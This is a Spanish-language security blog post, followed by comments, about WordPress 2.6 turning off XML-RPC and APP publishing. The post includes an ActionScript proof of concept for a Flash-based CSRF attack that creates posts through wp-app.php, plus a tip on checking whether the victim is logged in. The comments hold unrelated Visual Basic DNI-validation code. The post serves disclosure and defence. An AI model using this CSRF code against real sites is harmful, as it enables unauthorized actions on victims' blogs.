Protocolos de publicación remota en WordPress
Por: alex | 1 Julio 2008 | Ver comentarios |
A estas alturas imagino que la mayoría ya sabe que en cada instalación nueva de WordPress 2.6, tanto la publicación por XMLRPC como APP estarán desactivados por omisión. A pesar de que algunos inicialmente pegaron un grito al cielo por este cambio, personalmente creo que es un cambio acertado, puesto que seguramente reducirá el número de vectores de ataque en aquellos blogs que no necesiten de éstos protocolos.
Sin ir muy lejos, actualmente la forma como está implementado APP en WordPress (y probablemente en otros CMSs), lo hace a este último, vulnerable a ataques CSRF usando Flash, que como se sabe, se puede usar para sobrepasar distintas restricciones de seguridad [1]. La siguiente porción de código muestra que tan sencillo es aprovechar este problema de seguridad en el protocolo mencionado:
// En este caso simplemente crea una nueva entrada.
function WpApp() {
this.readQueryString();
var blog:String = _params.blog;
if ( !blog ) return;
var r:URLRequest = new URLRequest(blog + '/wp-app.php?action=/posts');
r.method = 'POST';
r.data = '<?xml version="1.0" encoding="UTF-8"?>'+
'<rss version="2.0"' +
'xmlns:content="http://purl.org/rss/1.0/modules/content/"' +
'xmlns:wfw="http://wellformedweb.org/CommentAPI/"' +
'xmlns:dc="http://purl.org/dc/elements/1.1/"' +
'xmlns:atom="http://www.w3.org/2005/Atom">'
'<channel>'+
'<atom:entry>'+
'<title>Boo</title>'+
'<category domain="category" nicename="uncategorized" term="uncategorized"><![CDATA[Uncategorized]]></category>'+
'<content><![CDATA[boo!]]></content>'+
'</atom:entry>'+
'</channel>'+
'</rss>';
r.contentType = 'application/atom+xml';
navigateToURL(r, '_self');
}Lo único que el atacante necesitaría, sería identificar si la víctima inició sesión o no, y lo primero que se me viene a la mente en estos momentos es enviar un pingback y luego verificar que hizo click desde algún lado del panel de administración — ¡a que no soy el único que mira los enlaces entrantes!
Los problemas que comento han sido reportados hace mes y medio aproximadamente, pero hasta el momento sólo hicieron una corrección puntual para la prueba de concepto que envié, por lo que no sería mala idea eliminar este archivo (wp-app.php o app.php) o denegar el acceso al mismo.
[1] Por ejemplo las páginas que permiten subir archivos y que generalmente no tienen protección contra ataques CSRF. Actualmente casi todas las versiones de WordPress sufren este problema y se puede explotar usando lo descrito en Cross-site File Upload Attacks.


Public enemy
28 de Julio de 2008, 11:27:22 am
Es que los hackers os las sabéis todas
luis
31 de Enero de 2009, 11:49:24 am
porfavor nesecito el codigo para probal mi prueba de programa le falta si puede aseme llegar este codigo selo agradesco con el corazon
Dim Letras As String = “TRWAGMYFPDXBNJZSQVHLCKE”
Dim nifNum As Integer
Dim NIf As String = DNIMaskedTextBox.Text
Dim valido As Boolean = True
If Not System.Text.RegularExpressions.Regex.IsMatch(NIf,
valido = False
Else
nifNum = Integer.Parse(NIf.Substring(0, NIf.Length -
If Not (NIf(8) = Letras(nifNum Mod 23)) Then
valido = False
End If
End If
If Not valido Then
e.cancel = True
MELKY
5 de Junio de 2009, 11:31:18 am
Private Sub DniMaskedTextBox_Validating(ByVal sender As System.Object, ByVal e As System.ComponentModel.CancelEventArgs) Handles DniMaskedTextBox.Validating
Dim letras As String = “TRWAGMYFPDXBNJZSQVHLCKE” & “trwagmyfpdxbnjzsqvhlcke”
Dim nifnum As Integer
Dim nif As String = DniMaskedTextBox.Text
Dim valido As Boolean = True
If Not System.Text.RegularExpressions.Regex.IsMatch(nif, “^\d{8}[” + letras + “]$”) Then
valido = False
Else
nifnum = Integer.Parse(nif.Substring(0, nif.Length - 1))
If Not (nif(8) = letras(nifnum Mod 23)) Then
valido = False
End If
End If
If Not valido Then
e.Cancel = True
ErrorProvider1.SetError(DniMaskedTextBox, “Error DNI no valido,llene este campo”)
Else
ErrorProvider1.SetError(DniMaskedTextBox, Nothing)
End If
End Sub
RESPUESTA A TU PETICION
Private Sub NombreTextBox_Validating(ByVal sender As System.Object, ByVal e As System.ComponentModel.CancelEventArgs) Handles NombreTextBox.Validating
If NombreTextBox.Text.Length = 0 Then
e.Cancel = True
ErrorProvider1.SetError(NombreTextBox, “Error llene este campo”)
Else
ErrorProvider1.SetError(NombreTextBox, Nothing)
End If
End Sub
alicia sabalza doct unefa
15 de Junio de 2009, 07:39:12 pm
alicia sabalza dice estamos en la era de la tecnologia y debemos saber que esta herramienta nos permite conocer la nueva forma de hablar de pensar y de comunicarnos